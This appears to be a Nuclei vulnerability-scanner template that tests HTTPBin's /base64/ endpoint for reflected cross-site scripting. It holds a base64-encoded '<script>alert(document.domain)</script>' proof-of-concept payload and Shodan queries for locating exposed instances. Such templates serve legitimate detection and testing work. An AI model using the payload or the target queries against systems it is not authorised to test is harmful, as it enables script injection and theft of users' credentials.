id: httpbin-xss

info:
  name: HTTPBin - Cross-Site Scripting
  author: Adam Crosser
  severity: high
  description: HTTPBin contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/postmanlabs/httpbin
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
    shodan-query:
      - html:"https://github.com/requests/httpbin"
      - title:"httpbin.org"
  tags: xss,httpbin,oss

http:
  - method: GET
    path:
      - '{{BaseURL}}/base64/PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '^<script>alert\(document.domain\)</script>$'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e8ab16957e27d015b67ae8ae2dfc785315284c4d518a63facab3ca0076a4cf2c02210096c66cb0f80838ca46d03b715c25742fe9233403997962e925633f581ae8a473:922c64590222798bb761d5b6d8e72950